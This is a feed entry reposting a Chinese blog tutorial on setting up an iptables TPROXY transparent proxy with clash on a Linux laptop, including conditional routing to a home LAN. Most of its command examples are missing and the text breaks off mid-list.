        <published>2025-10-04T00:00:00+00:00</published>
        <updated>2025-10-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/使用-iptables-的-tproxy-完成本机访问家里内网的透明代理/"/>
        <id>https://vercel.juzhong.asia/obsidian/使用-iptables-的-tproxy-完成本机访问家里内网的透明代理/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/使用-iptables-的-tproxy-完成本机访问家里内网的透明代理/">&lt;h1 id=&quot;shi-yong-iptables-de-tproxy-wan-cheng-ben-ji-fang-wen-jia-li-nei-wang-de-tou-ming-dai-li&quot;&gt;使用 iptables 的 tproxy 完成本机访问家里内网的透明代理&lt;&#x2F;h1&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;出处：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;&quot;&gt;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;使用 iptables 的 tproxy 完成本机访问家里内网的透明代理&lt;&#x2F;p&gt;
&lt;p&gt;最近正在尝试将主力笔记本从 Mac 换到 Linux，首先要解决的就是网络问题  &lt;del&gt;（桌面美化）&lt;&#x2F;del&gt; 。本文介绍了笔者在使用 Linux 内核支持的 tproxy（Transparent proxy）让本机（手里的笔记本）访问外网流量时通过 tproxy 完成，同时本机在家里内网环境时访问内网流量不经过 tproxy，在其他环境下，访问的家里内网流量经过 tproxy。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;由于笔者没有看过完整的计算机网络，甚至连 TCP 握手是什么都不知道，导致很多内容的可能不准确&#x2F;有错误。&lt;&#x2F;li&gt;
&lt;li&gt;光看个 tproxy 配置不理解其中的含义，很可能导致配置出来的有问题，所以本文会尽可能写出我对每一行命令（配置）的理解，这样才能在遇到各种网络环境&#x2F;需求下，都能得心应手。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;nat-network-address-translation-shi-shen-me&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#nat-network-address-translation-%E6%98%AF%E4%BB%80%E4%B9%88&quot;&gt;#&lt;&#x2F;a&gt; NAT（Network address translation）是什么？&lt;&#x2F;h2&gt;
&lt;p&gt;在介绍 tproxy 之前，我们需要先大致知道 NAT 是什么。可能因为 IP 地址的短缺，无法为每台设备都提供的一个全球独立的 IP，NAT 应运而生。&lt;&#x2F;p&gt;
&lt;p&gt;我们来画个图，看一下 NAT 是如何帮助一台内网的设备和外网的服务进行通信的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;iptables-tproxy&#x2F;nat-communication-diagram.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;假定我们的内网 IP 段为 192.168.22.0&#x2F;24（192.168.2.0-192.168.22.255），内网网关（路由器）拥有两个接口，一个对应内网的 192.168.22.1，一个是公网 119.3.70.188，我们要访问的服务拥有的 IP 为 120.92.78.97。&lt;&#x2F;p&gt;
&lt;p&gt;我们的设备（192.168.22.33）会向网关发一个 IP 数据包，这里包含了两个关键信息，目的地 IP（120.92.78.97）和来源 IP（192.168.22.33），这样一来网关知道这个数据该给谁，数据回来的时候又该送回哪里。&lt;&#x2F;p&gt;
&lt;p&gt;网关进行一次 SNAT 转换，将来源 IP 换成自身的公网 IP，这样发给服务器的数据服务器才能知道响应给谁。服务器收到数据后，会返回一个数据包，这里仍然会标记上来源 IP 为服务器的 IP。响应到网关的数据包，网关进行一个 DNAT 转换，将目标地址 IP 换成我们的设备 IP，并将数据包发给设备。&lt;&#x2F;p&gt;
&lt;p&gt;从以上的过程中，我们可以得到两个重要结论：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一次网络数据交换是&lt;strong&gt;有来有回&lt;&#x2F;strong&gt;的&lt;&#x2F;li&gt;
&lt;li&gt;从本机发出去和接收的数据中，&lt;strong&gt;来源 IP 和目标 IP 都是外网 IP 和本机 IP&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们带着这两个结论来看数据包是如何从本机出去的，回来的数据包又在本机上经过了什么？&lt;&#x2F;p&gt;
&lt;h2 id=&quot;output-he-prerouting-chain&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#output-%E5%92%8C-prerouting-chain&quot;&gt;#&lt;&#x2F;a&gt; OUTPUT 和 PREROUTING chain&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;这里不会详细介绍 iptables 的 table 和 chain，文末链接中有大量相关的内容介绍。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;从本机出去的数据包会经过 OUTPUT 链，而从外部发往本机的数据包会经过 PREROUTING 链（当然也会经过 INPUT 链，但因为 tproxy 只能工作在 PREROUTING 链，所以我们只关心 PREOUTING 链），这对应了上面的&lt;strong&gt;有来有回，为了区分各种场景的数据包，我们会用到来源 IP 和目标 IP&lt;&#x2F;strong&gt;，比如在 OUTPUT 链中，目标 IP 为外网时，应当经过 tproxy。 由于 tproxy 只能工作在 PREROUTING 链，从本机发出去的数据包会直接通过 OUTPUT 链出去了，本机数据包没有机会走一下 PREROUTING 链。&lt;&#x2F;p&gt;
&lt;p&gt;为了让本机数据经过 PREROUTING，我们可以用的路由表解决（这部分我没有完全理解指令每个参数的含义，但大致够用了）。&lt;&#x2F;p&gt;
&lt;p&gt;执行如下命令：&lt;&#x2F;p&gt;
&lt;p&gt;第一行添加一条 ip 规则，表示被标记为 23 的的数据包的走向要查表 2233。 第二行大致是说对于 2233 表的流量，都要发到本机（经过本机的 PREROUTING）。&lt;&#x2F;p&gt;
&lt;p&gt;当我们给 OUTPUT 链的数据包进行标记时，这个数据包会重新查一次表，如果我们标记的刚好是 23，那这个数据包就会根据上面的规则进入本机的 PREROUTING。这样一来，我们就可以将本机的数据包发送的 tproxy。&lt;&#x2F;p&gt;
&lt;p&gt;在 OUTPUT 链上打标记命令如下：&lt;&#x2F;p&gt;
&lt;p&gt;解释一下上面的两条命令，iptables 中有三个常用的表，filter、nat 和 mangle，三个表有各自的用途，能链的作用范围也不一样，mangle 表支持在 OUTPUT 链上打标记。&lt;&#x2F;p&gt;
&lt;p&gt;这里有一堆缩写参数，导致理解起来比较困难，如下是相关解释：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t&#x2F;--table [table]&lt;&#x2F;code&gt;：表示这条规则作用在哪个表上&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-A&#x2F;--append [chain]&lt;&#x2F;code&gt;：表示给这个链添加一条规则&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-p&#x2F;--protocol [protocol]&lt;&#x2F;code&gt;：表示处理哪个协议&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-j&#x2F;--jump [target]&lt;&#x2F;code&gt;：表示跳转到哪个目标&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;比如上面的第一条命令表示，在 OUTPUT 链上的 tcp 协议都跳转到 MARK 并标记个 23。 此时被标记为 23 的数据包会重新走到 PROROUTING 链上。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;tproxy 仅能处理 tcp 和 udp，所以这里只标记这两个协议。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;shi-yong-chain-guan-li-shu-ju-bao&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E4%BD%BF%E7%94%A8-chain-%E7%AE%A1%E7%90%86%E6%95%B0%E6%8D%AE%E5%8C%85&quot;&gt;#&lt;&#x2F;a&gt; 使用 chain 管理数据包&lt;&#x2F;h2&gt;
&lt;p&gt;上面的规则虽然完成了重回 PREROUTING 的能力，但有些数据包应当直接从 OUTPUT 链出去，比如访问网关管理页面（192.168.22.1），或者是 NAS 的 192.168.22.2。所以我们需要跳过一部分的数据包避免标记上 23。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-d&#x2F;--destination [address]&lt;&#x2F;code&gt; 表示匹配对应的 ip（范围），上面的命令则是在 OUTPUT 链上，如果是发往 192.168.0.0&#x2F;16 的数据包，则直接返回。这一条命令要在前面的 &lt;code&gt;-j MARK&lt;&#x2F;code&gt; 命令之前执行，匹配规则会根据创建的规则顺序按顺序执行。&lt;&#x2F;p&gt;
&lt;p&gt;如下，这表示去往非 192.168.0.0&#x2F;16 的 tcp&#x2F;udp 数据包标记 23：&lt;&#x2F;p&gt;
&lt;p&gt;此时我们可以思考一下 OUTPUT 链 “本质” 是什么：&lt;strong&gt;写 iptables 的规则，就是在写代码，OUTPUT 链是程序内置的函数，它会在对应时机调用，我们需要做是填充这个函数的逻辑。（匹配规则就是 if else）&lt;&#x2F;strong&gt; &lt;strong&gt;所以，链&lt;&#x2F;strong&gt; &lt;strong&gt;=&lt;&#x2F;strong&gt; &lt;strong&gt;函数。这就清晰很多了。&lt;&#x2F;strong&gt; iptables 还给我们提供了创建自定义链（函数）的能力，有了自定义链（函数）我们可以更好地管理规则。&lt;&#x2F;p&gt;
&lt;p&gt;对于上面的 OUTPUT 管理，我们可以改写成：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-N&#x2F;--new-chain [chain]&lt;&#x2F;code&gt; 表示创建一个新的链。&lt;&#x2F;p&gt;
&lt;p&gt;我们创建了一个自定义链 &lt;code&gt;LOCAL_DIVERT&lt;&#x2F;code&gt;，接下来需要跳转到这个链（调用这个函数）：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;你也可以带着这个函数的感觉，理解一下 ACCEPT。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当不需要这些规则时，你可以删除相关的链和规则： 比如：&lt;&#x2F;p&gt;
&lt;p&gt;这会删除对应的一条规则。&lt;strong&gt;删除的逻辑我们需要捋清楚，当关闭 tproxy 时，全删除不是合理做法，特别是你还写了一些其他规则，比如限制指定应用联网。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当不需要 &lt;code&gt;LOCAL_DIVERT&lt;&#x2F;code&gt; 时，我们可以通过以下命令删除（要小心翼翼）：&lt;&#x2F;p&gt;
&lt;p&gt;三条命令首先删除跳转（调用）的引用，然后删除 &lt;code&gt;LOCAL_DIVERT&lt;&#x2F;code&gt; 中的&lt;strong&gt;全部规则&lt;&#x2F;strong&gt;，然后删除 &lt;code&gt;LOCAL_DIVERT&lt;&#x2F;code&gt; 这个链。&lt;&#x2F;p&gt;
&lt;p&gt;以上几个缩写为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-D&#x2F;--delete&lt;&#x2F;code&gt;：从一个链上删除指定的规则&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-F&#x2F;--flush [chain]&lt;&#x2F;code&gt;：清空一个链上所有规则&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-X&#x2F;--delete-chain [chain]&lt;&#x2F;code&gt;：删除一个链&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;ying-yong-tproxy&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E5%BA%94%E7%94%A8-tproxy&quot;&gt;#&lt;&#x2F;a&gt; 应用 tproxy&lt;&#x2F;h2&gt;
&lt;p&gt;有了以上的内容，我们可以开始把数据发的 tproxy，tproxy 翻译过来就是内核提供的透明代理能力。 这里我们使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Dreamacro&#x2F;clash&quot;&gt;clash (opens new window)&lt;&#x2F;a&gt; 接管 tproxy 的流量。 根据 clash 的文档，假定我们设置的 tproxy 端口为 22223，如下命令可以将数据包通过 tproxy 发给 clash：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你看过一些文档，可能注意到 &lt;code&gt;--tproxy-mark&lt;&#x2F;code&gt; 参数，这个参数会给跳转到 TPROXY 的数据包进行一个标记，你可以用这个标记处理后续的判断，一般可以用来判断回环流量（很快我们就会遇到这个问题）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;记得创建自定义的链，上面的两行命令 PREROUTING 在增加更多的规则后会很难管理。&lt;&#x2F;p&gt;
&lt;p&gt;当前完整的 iptables 命令如下：&lt;&#x2F;p&gt;
&lt;p&gt;你可能注意到这里第二行多了个命令，记得&lt;strong&gt;有来有回&lt;&#x2F;strong&gt;，回来的数据包不能再走一次 tproxy 了！由于我们的本机 IP 为 192.168.22.33，在这个范围内，上面的规则看起来没什么问题。&lt;&#x2F;p&gt;
&lt;p&gt;实际上这些规则是不能用的，看起来没问题，但&lt;strong&gt;从 clash 出来的数据包呢？&lt;&#x2F;strong&gt; 上面的规则会变成：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;本机发出来去往外网的数据包通过 mark 回到 PREROUTING&lt;&#x2F;li&gt;
&lt;li&gt;通过 tproxy 进入 clash&lt;&#x2F;li&gt;
&lt;li&gt;本机 clash 发出来去往外网的数据包通过 mark 回到 PREROUTING&lt;&#x2F;li&gt;
&lt;li&gt;通过 tproxy 进入 clash&lt;&#x2F;li&gt;
&lt;li&gt;本机 clash 发出来去往外网的数据包通过 mark 回到 PREROUTING&lt;&#x2F;li&gt;
&lt;li&gt;通过 tproxy 进入 clash&lt;&#x2F;li&gt;
&lt;li&gt;本机 clash 发出来去往外网的数据包通过 mark 回到 PREROUTING&lt;&#x2F;li&gt;
&lt;li&gt;.....&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;jie-jue-hui-huan-wen-ti&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E8%A7%A3%E5%86%B3%E5%9B%9E%E7%8E%AF%E9%97%AE%E9%A2%98&quot;&gt;#&lt;&#x2F;a&gt; 解决回环问题&lt;&#x2F;h2&gt;
&lt;p&gt;这里产生了一个回环，我们需要解决掉，即&lt;strong&gt;让本机 clash 发出来的数据包直接从 OUTPUT 链出去吧&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;根据文末的一些文档，通过 mark 匹配的性能似乎不太好（我没有去验证）。我们采取另一种方式，通过 gid&#x2F;uid 绕过回环。&lt;&#x2F;p&gt;
&lt;p&gt;思路：由于 Linux 的多用户模式，我们可以让一个单独的用户启动 clash，然后利用 iptables 中匹配 gid&#x2F;uid 的功能绕过回环，当是 clash 对应的用户的流量，直接从 OUTPUT 链出去。&lt;&#x2F;p&gt;
&lt;p&gt;使用以下命令可以创建一个名为 clash，uid 为 0，gid 为 23333 的用户：&lt;&#x2F;p&gt;
&lt;p&gt;使用如下命令可以验证创建的用户是否正常：&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们使用这个用户启动 clash：&lt;&#x2F;p&gt;
&lt;p&gt;iptables 执行在 OUTPUT 链改为如下命令：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;-m&#x2F;-match&lt;&#x2F;code&gt; 表示匹配对应的策略，上面的命令则是在 OUTPUT 链 gid 非 23333 的数据包跳转到 LOCAL_DIVERT。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;clash-shi-yong-tproxy-xu-yao-jie-chi-dns&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#clash-%E4%BD%BF%E7%94%A8-tproxy-%E9%9C%80%E8%A6%81%E5%8A%AB%E6%8C%81-dns&quot;&gt;#&lt;&#x2F;a&gt; clash 使用 tproxy 需要劫持 DNS&lt;&#x2F;h2&gt;
&lt;p&gt;使用 clash 的 tproxy 能力时，需要让 clash 接管 DNS 流量（似乎是用来判断路由规则？），有两种方式：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;停掉本地的 DNS 服务，将 clash 的 DNS 服务端口改为 53&lt;&#x2F;li&gt;
&lt;li&gt;将 DNS 查询数据包转发到 clash&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里我们采取第二种：&lt;&#x2F;p&gt;
&lt;p&gt;1053 是在 clash 上设置的 DNS 服务端口。&lt;code&gt;-I&#x2F;--insert [chain] [rule index]&lt;&#x2F;code&gt; 表示插入一条规则到指定位置，默认为 1，表示插入到规则的第一条。这里使用 &lt;code&gt;-I&lt;&#x2F;code&gt; 是避免后续我们添加更多的 iptables 规则后，影响到 DNS 数据包转发。&lt;&#x2F;p&gt;
&lt;p&gt;记得这里同样需要&lt;strong&gt;仅拦截来自非 clash 的数据&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有了以上的配置，我们已经可以完成基本的操作：&lt;strong&gt;将本机发往外网的数据通过 tproxy 经过 clash 发出&lt;&#x2F;strong&gt;，并避免数据回来时又通过 tproxy 进入 clash。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;rao-guo-geng-duo-nei-wang-ip-duan&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E7%BB%95%E8%BF%87%E6%9B%B4%E5%A4%9A%E5%86%85%E7%BD%91-ip-%E6%AE%B5&quot;&gt;#&lt;&#x2F;a&gt; 绕过更多内网 IP 段&lt;&#x2F;h2&gt;
&lt;p&gt;还差一步，这些配置就可以用了，上面的操作中，发往 127.0.0.1:1053 的 DNS 查询数据包会通过 OUTPUT 链回到 PREROUTING 最后进入到 tproxy。 我们可以在 OUTPUT 链跳过去：&lt;&#x2F;p&gt;
&lt;p&gt;回来数据包仍然经过 PREROUTING，同样需要跳过：&lt;&#x2F;p&gt;
&lt;p&gt;我们还有更多的内网&#x2F;特殊 IP 段需要直接 RETURN，完整列表如下：&lt;&#x2F;p&gt;
&lt;p&gt;由于到这一步，我们完成了最基本的配置，避免影响阅读全部的内容，我将当前的完整配置记录到 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;DianQK&#x2F;25cf82bff5136068b98575adef598f82#file-iptables_1-sh&quot;&gt;Gist (opens new window)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;此时在访问外网网站时，应当可以看到 clash 中的日志，也可以看到数据正常返回（curl 成功、网站加载成功）。 如果没有，注意检查上述有哪些地方有错或是漏了，比如 ip rule&#x2F;route 的丢失。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-wen-jia-li-nei-wang&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E8%AE%BF%E9%97%AE%E5%AE%B6%E9%87%8C%E5%86%85%E7%BD%91&quot;&gt;#&lt;&#x2F;a&gt; 访问家里内网&lt;&#x2F;h2&gt;
&lt;p&gt;这部分要基于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.bilibili.com&#x2F;read&#x2F;cv9219407&quot;&gt;使用 Shadowsocks 访问家庭内网 (opens new window)&lt;&#x2F;a&gt; 完成，你需要先搭建一个 ss-server 供你在其他网络环境下访问家里内网。 这个场景下有一个问题，&lt;strong&gt;如何在家直连，在外面走 SS？&lt;&#x2F;strong&gt; 文章中给出了一个能用但不够优雅的方案，将家里的 DNS 服务把域名指向内网 IP，不管在哪里，流量都经过 clash。这可能带来一些问题，upnp 等需要直接连接的内网流量异常（只是可能，我还不确定）。 接下来我们来看看如何解决这个问题，初步的想法可能是监听 IP 变化，如果在家里内网，访问内网的数据包都不要在 OUTPUT 链打标记，如果在外面，当作外网一样处理。这么处理太麻烦了，实际上我们可以通过 iptables 的匹配规则完成（iptables 可以曲线完成 if else）。&lt;&#x2F;p&gt;
&lt;p&gt;首先看 OUTPUT 链，这个相对简单一些，如果来源 IP 不在家里内网段（192.168.22.0&#x2F;24），同时目标 IP 是家里内网段，打标记。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;! 表示非，同时注意该规则需要应用在 &lt;code&gt;-d 192.168.0.0&#x2F;16&lt;&#x2F;code&gt; 的前面。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;配置之后，如下的几种场景结果为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;家里内网环境，访问内网，不会跳转到 LOCAL_INTRANET_DIVERT，因为来源 IP 在内网段&lt;&#x2F;li&gt;
&lt;li&gt;家里内网环境，访问外网，不会跳转到 LOCAL_INTRANET_DIVERT，因为目标 IP 不在内网段&lt;&#x2F;li&gt;
&lt;li&gt;非家里内网环境，访问内网，跳转到 LOCAL_INTRANET_DIVERT&lt;&#x2F;li&gt;
&lt;li&gt;非家里内网环境，访问外网，不会跳转到 LOCAL_INTRANET_DIVERT，因为目标 IP 不在内网段&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;非常棒！&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;接下来可能会很绕，而且我可能阐述的不太清楚，需要多理解分析这里的各种场景。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;接下来我们看 PREROUTING 链的处理，这个比较复杂，我们需要处理以下几种场景：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;从 OUTPUT 链来的数据包，目标 IP 为外网&lt;&#x2F;li&gt;
&lt;li&gt;从 OUTPUT 链来的数据包，目标 IP 为家里内网&lt;&#x2F;li&gt;
&lt;li&gt;响应回来的数据包，目标 IP 为本机 IP&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;事实上这里有很多种处理的方式，比如在 OUTPUT 链上打一个不同的标记，比如 33，然后在 PREROUTING 链匹配。这里我选择继续用 IP 匹配。&lt;&#x2F;p&gt;
&lt;p&gt;考虑到一份配置可能应用到多个设备中（或者一台设备的 IP 会变化），我们先看这种场景的处理：&lt;&#x2F;p&gt;
&lt;p&gt;先进行第一步过滤，如果在 &lt;strong&gt;PREROUTING&lt;&#x2F;strong&gt; 链来源 IP 不是内网，&lt;strong&gt;目标 IP 是内网&lt;&#x2F;strong&gt;，接下来还有以下几种情况需要处理：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;设备处于家里内网环境，这是响应回来的数据，此时来源 IP 应当为外网 IP&lt;&#x2F;li&gt;
&lt;li&gt;设备处于其他环境，这是从 OUTPUT 链来的数据，此时来源 IP 应当为其他内网 IP&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们需要在 INTRANT_DIVERT 链中进行过滤，当来源 IP 为内网时，走 tproxy（注意前面已经确保了来源 IP 不是家里内网）：&lt;&#x2F;p&gt;
&lt;p&gt;此时配置已经完成了，不过你可以会有疑问，在其他内网环境下，访问自身所在的内网环境怎么办？ 注意前面的这一条规则：&lt;&#x2F;p&gt;
&lt;p&gt;如果在其他内网环境（比如 192.168.1.0&#x2F;24），在该内网环境下，设备 IP 可能为 &lt;code&gt;192.168.1.56&lt;&#x2F;code&gt;，访问该内网回来的数据包的目标 IP 为 &lt;code&gt;192.168.1.56&lt;&#x2F;code&gt;，并不会匹配到这条规则进入 INTRANT_DIVERT。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jie-jue-qi-ta-wang-luo-huan-jing-xia-cha-xun-nei-wang-dns-wen-ti&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E8%A7%A3%E5%86%B3%E5%85%B6%E4%BB%96%E7%BD%91%E7%BB%9C%E7%8E%AF%E5%A2%83%E4%B8%8B%E6%9F%A5%E8%AF%A2%E5%86%85%E7%BD%91-dns-%E9%97%AE%E9%A2%98&quot;&gt;#&lt;&#x2F;a&gt; 解决其他网络环境下查询内网 DNS 问题&lt;&#x2F;h2&gt;
&lt;p&gt;虽然 iptables 的规则都完成了，但还不能解决在其他网络环境下访问内网的问题，可以看到这里我们都是基于 IP 进行的判断，在其他网络环境下，根本查询不到 NAS 使用的域名对应的 IP。因为查询不到 IP，第一步的 DNS 查询就失败了，也无法走到后面的 IP 匹配。 此时只能通过 IP 访问内网环境。&lt;&#x2F;p&gt;
&lt;p&gt;为了解决这个问题，我们可以使用以下两个方法：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在公网 DNS 服务配置映射规则，这是可以的，反正映射到内网 IP，还是安全的&lt;&#x2F;li&gt;
&lt;li&gt;在 clash 的 hosts 中配置映射规则&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此时应当可以看到，在家访问内网服务，clash 没有访问日志，在外面访问内网服务，可以看到数据经过了 clash。&lt;&#x2F;p&gt;
&lt;p&gt;到这一步，我们完成了所有的配置，我将当前的完整配置记录到 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;DianQK&#x2F;25cf82bff5136068b98575adef598f82#file-iptables_2-sh&quot;&gt;Gist (opens new window)&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;jian-rong-fake-ip-chang-jing&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E5%85%BC%E5%AE%B9-fake-ip-%E5%9C%BA%E6%99%AF&quot;&gt;#&lt;&#x2F;a&gt; 兼容 fake-ip 场景&lt;&#x2F;h2&gt;
&lt;p&gt;clash 的 DNS 服务有两种类型，一种是 redir-host，另一种是 fake-ip，上述例子一直介绍的是 redir-host。 在这种类型下，所有 DNS 解析在本机完成，这可能遇到一些 DNS 污染问题，同时使用 fake-ip 让 DNS 解析在远程服务器完成会更快一些。&lt;&#x2F;p&gt;
&lt;p&gt;从使用上 fake-ip 的原理差不多是这个样子，首先定义一个 Fake IP 池（198.18.0.1&#x2F;16），所有的 DNS 查询服务都直接返回这个池子里的 IP，此时可以做到如果通过域名匹配到某条规则不是直连，可以将 DNS 放到远程服务器解析，借此解决 DNS 污染问题。&lt;&#x2F;p&gt;
&lt;p&gt;这种场景下，因为所有返回的（目标） IP 都变成了 198.18.0.1&#x2F;16，我们无法区分是内网还是外网，我们需要更新一下 clash 的配置，在 DNS 服务中，提供了 &lt;code&gt;fake-ip-filter&lt;&#x2F;code&gt; 参数，在这里面的域名将保持在本地查询 DNS 同时返回真实的 IP。&lt;&#x2F;p&gt;
&lt;p&gt;iptables 规则可以（这不是必要操作）做适当调整：&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的时，当增加 &lt;code&gt;-d 198.18.0.0&#x2F;16&lt;&#x2F;code&gt; 时，一些通过 IP 连接的服务不会走到 tproxy。（比如 Telegram 直连外网 IP，这种情况自然匹配不到 &lt;code&gt;198.18.0.0&#x2F;16&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shao-wei-gai-gai&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archive.dianqk.blog&#x2F;2021&#x2F;11&#x2F;20&#x2F;iptables-tproxy-and-home&#x2F;#%E7%A8%8D%E5%BE%AE%E6%94%B9%E6%94%B9&quot;&gt;#&lt;&#x2F;a&gt; 稍微改改&lt;&#x2F;h2&gt;
&lt;p&gt;对上述规则我们还可以再走一步，当我们在家里内网环境下，访问外网服务时，响应回来时，INTRANT_DIVERT 中的规则总会被尝试匹配。&lt;&#x2F;p&gt;
&lt;p&gt;有两种可行的解决办法：&lt;&#x2F;p&gt;
&lt;ol&gt;
